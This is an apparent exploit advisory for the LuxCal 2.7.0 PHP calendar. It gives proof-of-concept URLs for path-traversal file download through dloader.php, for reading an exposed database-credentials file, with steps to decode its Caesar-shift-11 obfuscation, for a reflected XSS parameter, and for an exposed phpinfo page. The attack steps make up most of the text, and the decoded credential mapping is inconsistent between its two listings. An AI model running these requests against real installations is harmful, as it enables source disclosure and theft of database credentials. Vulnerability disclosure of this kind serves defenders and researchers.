75 lines
No EOL
1.8 KiB
Text
75 lines
No EOL
1.8 KiB
Text
#################################################
|
|
### Exploit Title: LuxCal v2.7.0 Multiple Remote Vulnerabilities
|
|
### Date: 17/09/2012
|
|
### Author: L0n3ly-H34rT
|
|
### Contact: l0n3ly_h34rt@hotmail.com
|
|
### My Site: http://se3c.blogspot.com/
|
|
### Vendor Link: http://www.luxsoft.eu/
|
|
### Software Link: http://www.luxsoft.eu/dloader.php?file=luxcal270.zip
|
|
### Version: 2.7.0
|
|
### Tested on: Linux/Windows
|
|
#################################################
|
|
|
|
1- Local File Inclusion :
|
|
|
|
* P.O.C :
|
|
|
|
http://127.0.0.1/luxcal270/dloader.php?fName=../index.php
|
|
|
|
this is example for download the source of index script , you will see the source inside as name of affected file "dloader.php"
|
|
|
|
2- Information Disclosure :
|
|
|
|
* P.O.C :
|
|
|
|
http://127.0.0.1/luxcal270/lcaldbc.dat
|
|
|
|
- you will see the information of database but encrypte as Caesar cipher methode in shift 11 e.g. :
|
|
|
|
LuxCal
|
|
2.7.0
|
|
p 5 {x 0;h 9 "adrpawdhi";x 1;h 4 "ajmm";x 2;h 4 "gddi";x 3;h 6 "000000";x 4;h 0 "";}
|
|
|
|
- my information in database is :
|
|
|
|
mysql server : localhost
|
|
|
|
mysql username : root
|
|
|
|
mysql password : 000000
|
|
|
|
mysql database : luxx
|
|
|
|
- when i install script all this name of information is encrypte and the word become as we see before in file "lcaldbc.dat" :
|
|
|
|
mysql server : adrpawdhi
|
|
|
|
mysql username : gddi
|
|
|
|
mysql password : 000000
|
|
|
|
mysql database : ajmm
|
|
|
|
- you ask me how to decrypt that , you can decrypt by many ways but i give the easy way here :
|
|
|
|
http://www.richkni.co.uk/php/crypta/caesar.php
|
|
|
|
you can put your text and submit to decipher that word , then search in " Processed text - shift 11 "
|
|
|
|
you will see your decrypted word ..
|
|
|
|
3- XSS :
|
|
|
|
* P.O.C :
|
|
|
|
http://127.0.0.1/luxcal270/index.php?cD=[XSS]
|
|
|
|
also some files is affected
|
|
|
|
4- phpinfo () :
|
|
|
|
http://127.0.0.1/luxcal270/pages/phpinfo.php
|
|
|
|
############################################
|
|
|
|
# Greetz to my friendz |